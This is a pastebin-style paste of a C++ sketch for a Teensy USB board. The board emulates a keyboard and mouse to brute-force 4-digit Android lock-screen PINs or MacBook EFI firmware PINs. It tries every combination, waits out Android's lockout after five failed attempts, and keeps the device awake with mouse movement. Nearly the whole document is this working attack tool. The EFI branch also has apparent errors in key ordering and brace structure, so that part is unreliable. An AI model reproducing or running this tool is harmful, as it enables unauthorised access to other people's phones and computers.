Teensy Android and MacBook EFI Bruteforce


SUBMITTED BY: Guest

DATE: Oct. 20, 2013, 11:46 a.m.

FORMAT: C++

SIZE: 3.2 kB

HITS: 1961

  1. #include <usb_keyboard.h>
  2. #include <usb_mouse.h>
  3. //Choose what to bruteforce, MacBook EFI or Android PIN
  4. //#define EFI
  5. #define ANDROID
  6. //Initialize variables
  7. int counter = 0; //counts the loops
  8. int andoCounter = 1; //counts the tries until lock
  9. char pin[]="xxxx"; //container for the PIN
  10. void setup() {
  11. //Needs a higher delay at the beginning for EFI
  12. #ifdef EFI
  13. delay(10000);
  14. #endif
  15. #ifdef ANDROID
  16. delay(1000);
  17. Keyboard.press(KEY_ENTER); //wake the device upxx
  18. delay(10);
  19. Keyboard.release(KEY_ENTER);
  20. delay(10);
  21. #endif
  22. }
  23. void loop(){
  24. #ifdef EFI
  25. //keyboard_modifier_keys = 0; //uncomment with teensy 3.0
  26. if (counter <= 9999){
  27. sprintf(pin, "%04d", counter);
  28. Keyboard.press(pin[1]);
  29. delay(450);
  30. Keyboard.release(pin[0]);
  31. delay(420);
  32. Keyboard.press(pin[0]);
  33. delay(398);
  34. Keyboard.release(pin[1]);
  35. delay(510);
  36. Keyboard.press(pin[2]);
  37. delay(421);
  38. Keyboard.release(pin[2]);
  39. delay(423);
  40. Keyboard.press(pin[3]);
  41. delay(430);
  42. Keyboard.release(pin[3]);
  43. delay(525);
  44. Keyboard.press(KEY_ENTER);
  45. delay(305);
  46. Keyboard.release(KEY_ENTER);
  47. }
  48. //reached 4 digit PIN max value
  49. if (counter > 9999){
  50. delay(6000);
  51. #endif
  52. #ifdef ANDROID
  53. //keyboard_modifier_keys = 0; //uncomment with teensy 3.0
  54. if (counter <= 9999){
  55. sprintf(pin, "%04d", counter);
  56. if (andoCounter <= 5){ //Tries 5 times and waits for 30 seconds because android locks the pin field
  57. delay(500);
  58. Keyboard.press(pin[0]); //first digit
  59. delay(20);
  60. Keyboard.release(pin[0]);
  61. delay(20);
  62. Keyboard.press(pin[1]); //second digit
  63. delay(20);
  64. Keyboard.release(pin[1]);
  65. delay(20);
  66. Keyboard.press(pin[2]); //third digit
  67. delay(20);
  68. Keyboard.release(pin[2]);
  69. delay(20);
  70. Keyboard.press(pin[3]); //fourth digit
  71. delay(20);
  72. Keyboard.release(pin[3]);
  73. delay(20);
  74. Keyboard.press(KEY_ENTER); //press Enter
  75. delay(20);
  76. Keyboard.release(KEY_ENTER);
  77. andoCounter++;
  78. }
  79. if (andoCounter > 5){ //Tried 5 times, Android doesnt accept PIN's for 30 seconds
  80. delay(500);
  81. Keyboard.press(KEY_ENTER); //Remove the message by pressing ENTER
  82. delay(10);
  83. Keyboard.release(KEY_ENTER);
  84. for(int i=0; i<6; i++){ //Press ENTER and Move the mouse to prevent sleep if device is already unlocked
  85. delay(5000);
  86. Keyboard.press(KEY_ENTER);
  87. delay(10);
  88. Keyboard.release(KEY_ENTER);
  89. delay(10);
  90. Mouse.move(0,i);
  91. }
  92. andoCounter =1; //reset the counter
  93. }
  94. }
  95. delay(100);
  96. #endif
  97. //reached 4 digit PIN max value
  98. if (counter > 9999){
  99. delay(200);
  100. for(int i=0; i<999999; i++){ //start a veeeeery long loop to prevent the device from sleeping
  101. delay(5000);
  102. Mouse.move(0,i);
  103. delay(1000);
  104. Mouse.move(0,-i);
  105. delay(1000);
  106. }
  107. }
  108. ++counter;
  109. }

comments powered by Disqus